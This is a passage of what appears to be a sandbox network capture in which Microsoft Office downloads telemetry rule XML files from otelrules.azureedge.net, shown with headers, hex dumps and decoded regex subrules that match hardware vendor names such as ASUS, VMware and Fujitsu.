2024-11-28 07:56:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:41 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e2bedc78-c01e-0066-2f35-40a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075641Z-174f7845968frfdmhC1EWRxxbw0000000y6g000000004rxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:41 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:41 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:41 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c955d5f0-801e-00a0-7007-412196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075641Z-174f7845968pght8hC1EWRyvxg00000001a00000000045r7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:41 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:41 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075641Z-174f7845968zgtf6hC1EWRqd8s0000000qzg00000000csy6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:42 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:41 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:41 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075641Z-174f7845968zgtf6hC1EWRqd8s0000000r1g000000008w6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:42 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:43 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:44 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075644Z-174f7845968qj8jrhC1EWRh41s0000000xyg00000000fk06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:44 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:43 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075644Z-174f78459688l8rvhC1EWRtzr00000000au0000000001w57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:43 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075644Z-174f7845968glpgnhC1EWR7uec0000000y8g0000000078s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:43 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:44 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075644Z-174f7845968zgtf6hC1EWRqd8s0000000qzg00000000csz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:44 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:45 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:45 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075645Z-174f7845968l4kp6hC1EWRe8840000000yfg00000000143q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:46 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:45 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:46 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075646Z-174f7845968px8v7hC1EWR08ng0000000yeg000000002vpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:46 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:46 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075646Z-174f7845968zgtf6hC1EWRqd8s0000000r60000000001147 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.8	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:56:46 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 07:56:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:56:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T075646Z-174f7845968kdththC1EWRzvxn0000000agg000000004kzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 07:56:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
